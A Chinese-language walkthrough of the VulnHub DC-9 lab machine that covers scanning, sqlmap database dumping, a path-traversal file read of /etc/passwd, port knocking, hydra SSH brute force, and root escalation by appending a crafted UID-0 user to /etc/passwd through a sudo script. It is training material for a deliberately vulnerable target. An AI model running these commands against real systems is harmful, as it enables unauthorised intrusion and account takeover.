VulnHub靶机 DC-9 打靶实战 详细渗透过程
目录
- VulnHub靶机 DC-9 打靶实战 详细渗透过程
- 一、将靶机配置导入到虚拟机当中
- 二、渗透测试
- 主机发现
- 端口扫描
- Web渗透
- SQL注入
- 登入后台
- 文件包含
- SSH爆破
- 提权
一、将靶机配置导入到虚拟机当中
靶机地址:
https://www.vulnhub.com/entry/dc-9,412/
二、渗透测试
主机发现
通过使用arp-scan或者nmap进行主机发现
arp-scan -l
端口扫描
发现主机后进行信息收集,端口扫描
nmap -p- 192.168.43.5
开放HTTP80端口和SSH22端口,但是发现22端口为filtered状态,然后接下来查看HTTP的服务详情
nmap -p80 -sV -A 192.168.43.5
访问web界面
指纹探测
whatweb http://192.168.43.5/index.php
目录扫描
dirsearch -u http://192.168.43.5/ -i 200
出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录
Web渗透
SQL注入
在搜索栏下发现有交互内容,输入一下信息并无输出什么,抓包尝试SQL注入
抓取数据包,通过FUZZ测试SQL注入,发现有回显点,页面变化
页面发送变化,返回信息
保存原始数据包,直接放入到sqlmap当中进行执行
//测试SQL注入,判断当前数据库,同时是否为DBA
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs
成功注入,发现当前使用的数据库,但并不是DBA
脱库
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D Staff --dump
users数据表当中发现用户名和密码,将密码进行md5解密
用户名:admin
密码:transorbital1
由于使用的当前数据库为Staff,所以可以直接判断出此用户名和密码即为后台管理员用户名和密码。
知道此,那么还有另一个数据库,继续脱库
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump
拿到大量的用户名和密码信息,保存下来
登入后台
拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd
文件包含
http://192.168.43.5/welcome.php?file=../../../../etc/passwd
通过/etc/passwd可得拥有很多的用户名,其中包括users数据库当中的用户名
SSH爆破
将之前保存下来的这些用户名和密码,进行爆破
hydra -L user.txt -P passwords.txt ssh://192.168.43.5
提权
ssh爆破得到三个用户名和密码,分别登录即可。
ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。但我这里通过爆破后进行ssh登录时可直接登录的,可能在前面端口扫描时触发了规则导致打开。
详细参考:安全系列之端口敲门服务
如果不能ssh连接原因如下:
存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全
//配置文件路径
默认配置文件是:/etc/knockd.conf
//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问
ssh爆破,使用hydra工具进行爆破,等待即可
chandlerb用户:
joeyt用户:
janitor用户:
通过find命令和sudo -l 命令三者用户皆无得到可利用信息
但是通过三者发现在janitor用户的家目录下多了一个隐藏文件,查看后发现为密码文件,那么将这些密码添加到之前的字典当中,再次爆破一次
hydra -L user.txt -P passwords.txt ssh://192.168.43.5
发现成功爆破出新的用户登录信息,进行登录。或者直接su切换也可
ssh fredf@192.168.43.5
sudo -l命令查看到以root权限运行的文件,进行查看
sudo -l
test为可执行文件
查看所在目录的一些信息,寻找可利用内容
返回上级目录查找到py文件,查看脚本内容
python脚本意思为将参数1进行读取,将参数1的内容写入到参数2当中
那么接下来就可以进行构造/etc/passwd文件当中的信息,进行追加用户信息即可提权,仿照/etc/passwd文件当中内容进行构造信息
//etc/passwd下的root用户信息
root:x:0:0:root:/root:/bin/bash
//根据root信息,构造用户信息追加到/etc/passwd文件当中,添加admin用户
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash
ps:使用openssl生成密码即可
openssl passwd -1 -salt 123 admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
//将上述构造的语句写入到文件当中
将构造的信息保存到一个文件当中,然后接下来执行text即可
目前的/etc/passwd当中没有新增用户
执行后:
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
成功追加,直接su切换admin用户,输入密码,成功提权
su admin
Password:admin
思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权
VulnHub靶机 DC靶机系列 通关手册
DC-1:Vulnhub靶机 DC-1 渗透详细过程
DC-2:Vulnhub靶机 DC-2 渗透详细过程
DC-3:Vulnhub 靶机 DC-3 实战系列 渗透详细过程
DC-4:VulnHub系列 DC-4靶机 渗透详细过程
DC-5:VulnHub靶机 DC-5 打靶 渗透测试详细过程
DC-6:Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程
DC-7:VulnHub靶机 DC-7 打靶 渗透详细流程
DC-8:VulnHub靶机 DC-8 打靶实战 详细渗透过程
DC-9:VulnHub靶机 DC-9 靶机 详细渗透过程
文章不妥之处,欢迎批评指正!